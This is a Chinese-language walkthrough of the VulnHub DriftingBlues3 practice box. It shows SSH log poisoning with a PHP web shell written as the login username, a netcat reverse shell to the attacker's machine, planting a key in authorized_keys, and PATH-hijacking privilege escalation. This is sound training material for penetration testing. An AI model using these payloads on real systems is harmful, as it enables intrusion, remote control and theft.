vulnhub靶场渗透实战13-driftingblues3
靶机下载地址:https://download.vulnhub.com/driftingblues/driftingblues3.ovavbox导入,网络模式桥接,靶机模式为简单。
一:信息收集
1;直接老样子吧,arp主机发现之后,nmap扫描端口服务。目录遍历。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207112541564-1074639584.png
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207112021359-1144965701.png
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207112005883-1988076829.png
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207112315486-605323557.png
2;另请检查/littlequeenofspades.html
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207112729930-1477518765.png
源代码上发现一串密文。https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207134459943-28624395.png
echo aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ== | base64 -d
echo -n L2FkbWluc2ZpeGl0LnBocA== | base64 -d https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207135857667-694659669.png
二;漏洞利用
1;ssh登录验证日志。前面说有毒,可能日志中毒。ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207140152389-906027570.png
ssh '<?php system($_GET["yang"]);?>'@192.168.1.40https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207142046018-1201004473.png
写入成功。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207141955779-919750927.png
那就反弹一下shell吧。反弹成功,没有权限,提升一下权限。
nc -e /bin/bash 192.168.1.28 1234
python -c 'import pty; pty.spawn("/bin/bash")' #交互shell https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207142539211-1638746943.png
2;home目录下有个用户,想打开user.txt,但是没有权限,ssh文件可读可写可执行。
https://img-blog.csdnimg.cn/2ec5de7783204e03a47ba6995af471c1.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207164238646-617327669.gif
进到.ssh私钥,里面没有东西。有点奇怪,查看ssh配置文件/etc/ssh/sshd_config,发现可以使用公钥登入,并且给出了文件名/home/robertj/.ssh/authorized_keys。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207155101967-2010826350.png
ssh服务公钥登录,主要流程为:
[*]客户端生成RSA公钥和私钥
[*]客户端将自己的公钥存放到服务器
[*]客户端请求连接服务器,服务器将一个随机字符串发送给客户端
[*]客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
[*]服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码
在本地生成密钥对。
ssh-keygen 在本地生成.ssh目录
ssh-keygen -f yan生成这样的文件https://img-blog.csdnimg.cn/8ca5907779a04791bc059c1b35417d27.pnghttps://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207164238646-617327669.gif
在目标服务器的 .ssh 文件夹下创建存放客户端公钥的文件 authorized_keys(默认配置)
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207152417579-1887757837.png
把生成的公钥上传到靶机上去。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207152546042-188086517.png
把公钥信息写入目标文件
cat id_rsa.pub > authorized_keys<br><br><img src="https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207153117368-1295388654.png" alt="" loading="lazy"> ssh连接成功。注意一下这里,我在生成密钥对时,设置了一下密码,在生成密钥对时,可以不设置密码。
ssh 192.168.1.40 -l robertj -i id_rsa<img src="https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207153552485-598990061.png" alt="" loading="lazy"><br>三:提权。<br>1;第一个falg。<br><img src="https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207155613451-1887547294.png" alt="" loading="lazy"> 2;命令劫持提权。
find / -perm -u=s -type f 2>/dev/null https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207160557994-1565254089.png
3;利用linpeas.sh脚本查找bug。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207162842803-1203257056.png
大把的漏洞可执行。
https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207164042317-883753466.png
大概的原理就是 执行系统命令所以我们可以自行编写一个同名文件,
比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
export PATH=/tmp/:$PATH 把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip中。
chmod +x ip 增加执行权限
/usr/bin/getinfo<br><br> 4;第二个flag。<br> https://img2023.cnblogs.com/blog/2789103/202212/2789103-20221207161803438-1737933165.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]